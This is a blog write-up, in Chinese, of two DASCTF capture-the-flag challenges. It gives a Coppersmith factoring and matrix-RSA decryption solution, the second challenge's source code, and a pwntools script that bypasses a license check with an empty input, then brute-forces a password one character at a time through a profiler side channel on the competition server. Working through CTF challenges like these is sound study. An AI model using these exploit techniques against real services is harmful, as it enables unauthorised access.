2025.1.18 DASCTF

2025.1.18西湖论剑

2025.1.18西湖论剑 哒!

matrixRSA

先看题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import random
import string
from Crypto.Util.number import *
from secret import flag
ext_len = 9*23 - len(flag)
flag += ''.join(random.choice(string.printable) for _ in range(ext_len))
def my_rsa_encrypt():
p = getPrime(512)
q = getPrime(512)
n = p * q
data = []
for i in range(9):
data.append(bytes_to_long(flag[23*i:23*(i+1)].encode()))
M = Matrix(Zmod(n), [data[i:i+3] for i in range(0, len(data), 3)])
e = 65537
C = M**e
print("p =", p >> 100)
print("n =", n)
return C
C = my_rsa_encrypt()
print("C =", C)

题目将矩阵用RSA的方式进行了加密
然后给出了p的高412位,n,和C

直接上coppersmith即可解出p

1
2
3
4
5
6
7
8
9
p=9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n=132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
p=p<<100
bit=100
R.<x>=PolynomialRing(Zmod(n))
f=p+x
f=f.monic()
roots=f.small_roots(X=2^bit,beta=0.4,epsilon=0.01)
print(roots)

[386875690473242360543194849663]

1
2
p=12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063
q=10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143

刚开始先试试phi=(p-1)*(q-1)
按正常RSA来解发现结果不对
上网搜索(搜索引擎yyds)
发现这道题其实是论文复现
基本是原题了,这是原文 他博客主题怎么跟我一样(小声)


那么把phi用(p**2-1)*(p**2-p)*(q**2-1)*(q**2-q)代掉即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
C = [[130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615],
[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401],
[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]]

n=132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
p=12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063
q=10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143
e=65537
phi=(p**2-1)*(p**2-p)*(q**2-1)*(q**2-q)
d=inverse(e,phi)
B=Matrix(Zmod(n),C)
B=B**d
flag=b''
for i in range(3):
for j in range(3):
flag+=long_to_bytes(int(B[i][j]))
print(flag)

最后得出

1
b'DASCTF{48ccbfd88061d7ff3d5325148ec55d11}'

已悟

题目给了两个py文件

task:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from line_profiler import LineProfiler
from secret import get_key
from license import RicKV
import os

flag = os.getenv('DASFLAG')
smoke_key = get_key() # the key just printable, this function is to make all users key different


def login(password):
if len(password) != len(smoke_key):
return False
for i in range(len(password)):
if password[i] != smoke_key[i]:
return False
return True

def check_password(user_input,pro=False):
profiler = LineProfiler()
profiler.add_function(login)
profiler.enable_by_count()
is_valid = login(user_input)
profiler.disable_by_count()
x = profiler.get_stats().timings
hacker,hacker_pro = [],[]
for i in x:
for j in x[i]:
hacker.append((j[0],j[-1]))
hacker_pro.append(j)
print(hacker)
return is_valid, hacker_pro if pro else hacker

banner = "🏞️ ⚔️ 2️⃣ 0️⃣ 2️⃣ 5️⃣ 👋 😊"

MEUN = """
1️⃣ ✨ 🔑 🚩
2️⃣ ✨ 🛍️ ⚡️💨5️⃣
3️⃣ ✨ ➡️ 🍐🍬
"""

if __name__ == "__main__":
print(banner)
pro = False
while True:
print(MEUN)
choice = int(input("> ")[0])
if choice == 3:
print("🏔️🐑❄️🐆🦦🦊🐹👩🏔️")
exit(0)
elif choice == 1:
password = input("🔑 > ").strip()
success,X = check_password(password,pro)
if success:
print("1️⃣ ❗5️⃣ ❗👴💨⚡️💨5️⃣")
print(f"🚩 {flag}")
exit(0)
else:
print(f"🤔 💨 {X} 💨")
elif choice == 2:
"""

怎么获取秘钥?

您可以使用 CTF 的一把梭工具,或者给我一支锐克。
Maybe you noob ctfer can go to xianyu or ask friend for help.
ざっこの方は、xianyu に行くか、友達に助けを求めるといいかもしれません。ざっこ!ざっこ!🤭🤭🤭
མདོག་འདོད་འདི་ CTF གནོད་པའི་ལག་ཆོད་ལས་ ཧིན་ཨིའུ་ཡིན་ལུང་ འོག་ལུ་ལོངས་སྐད་ཁུངས་ལུ་འཛུལ་བ་འདི་འདོད་མི་འབད་ཡོད་མི་འདུག་。

"""
license_key = input("🔑 > ").strip()
license = input("📜 > ").strip()
rick = RicKV(license_key)
if rick.check(license):
pro = True
else:
print("👵🏻👵🏻🤰👶")

license:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from functools import reduce
import base64
import random
import hashlib

Xor= lambda v: reduce(lambda res, x: res ^ x, v, 0)

class RicKV:
round = 15
S1 = [i for i in range(16)]
S2 = [i for i in range(16)]

def __init__(self, key):
key = hashlib.sha256(str(key).encode("utf-8")).digest()
random.seed(key)
self.roundkey = int(key.hex(), 16)
self.subkeys = [
[
((int(bin(self.roundkey)[2:].zfill(16 * (self.round+ 1))[16 * j + i]) & 1) - 1) & 0xf
for i in range(16)
]
for j in range(self.round + 1)
]
random.shuffle(self.S1)
random.shuffle(self.S2)

def add_round(self, s, k):
for i in range(4):
for j in range(4):
s[i*4+j] ^= k[i]

def sub(self,s):
for i in range(16):
index = self.S2[i]
temp = s[index]
s[i] = self.S1[temp]

def mix_1(self,s,r):
for i in range(16):
s[i] = s[i] ^ self.subkeys[i][r]

def mix_2(self,s,x):
for i in range(0,16,4):
x[i//4] = Xor(s[i:i + 4])

def flip(self, plaintext):
assert len(plaintext) == 8
S = [int(_, 16) for _ in list(plaintext.hex())]
X = [0 for _ in range(4)]
for r in range(self.round):
self.mix_1(S,r)
self.sub(S)
self.mix_2(S,X)
self.add_round(S,X)

S = [S[i] ^ self.subkeys[self.round][i] for i in range(16)]
return bytes.fromhex("".join("{:x}".format(_) for _ in S))

def check(self,liscense):
liscense= base64.b64decode(liscense)
assert len(liscense) % 8 == 0
l = b"\x00" * 8
for i in range(0,len(liscense),8):
l = bytes(d^j for d,j in zip(l,liscense[i:i+8]))
l = self.flip(l)
l = bytes(d^j for d,j in zip(l,liscense[i:i+8]))
print(l)
return not any(l)

先看task
login函数判断输入是否与smkoe_key相同,不同则立刻返回False
check_password调用login并返回login执行的细节,包括执行了哪一行,执行次数,执行时间
但如果pro是False,我们是拿不到执行次数的
license则是对输入进行一个判断

所以我们需要在2中提及一个满足条件的license,然后就可以开始针对执行次数攻击
在license中有一句assert len(liscense) % 8 == 0,此时如果len(liscense)为0也是满足的,并且not any(l)是True
所以我们直接提交一个空license即可

然后稍微爆破一下smoke_key的长度,再逐个爆破即可拿到flag
exp(稍微有点丑陋):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import time
import string

def send1(s):
out=r.recvuntil(b'> ')
r.sendline(b'1')
out+=r.recvuntil(b'> ')

r.sendline(s.encode())
out+=r.recvuntil(b'\n')
out+=r.recvuntil(b'\n')
return out.decode()

context(os='linux')

HOST='139.155.126.78'
PORT=18806

r=remote(HOST,PORT)
out=r.recv(400)

#提交空license
r.sendline(b'2')
out=r.recv(400)

r.sendline(b'123456')
out=r.recv(400)

r.sendline(b'')
out=r.recv(800)
print(out.decode())
print('=========')

#这里之前有爆过长度,节省时间从22开始爆,每次连接的smoke_key长度的不固定的
length=22
out=send1('1'*length)
if '12' in out:#如果执行了if len(password) != len(smoke_key):后面的return False
for i in range(1,30):
out=send1('1'*(length+i))
if '12' not in out:
length=length+i
break
print(length)

key=''
st=string.printable[:-5]
for j in range(length):
print(j)
for i in st:
out=send1(r''+key+i+'0'*(length-1-j))
left=out.find('[')
right=out.find(']')
if left!=-1 and right!=-1:
l1=eval(out[left:right+1])
if len(l1)>2:
if l1[1][1]>j+1:
print(l1)
print('success')
key+=i
print(key)
break
else:
print('over')
print(out)

然后成功拿到flag

1
DASCTF{82027784803625989128426726039406}

题目没有对空license进行一个判断,这也就成了一个突破点


嗯,就先这两题吧~。剩下两题,一题zuc不是很想做,另一题我题目都不想看。就先到这吧。


2025.1.18 DASCTF
https://bddye.github.io/2025/01/22/2025.1.18DASCTF/
作者
蹦跶的鱼儿
发布于
2025年1月22日
许可协议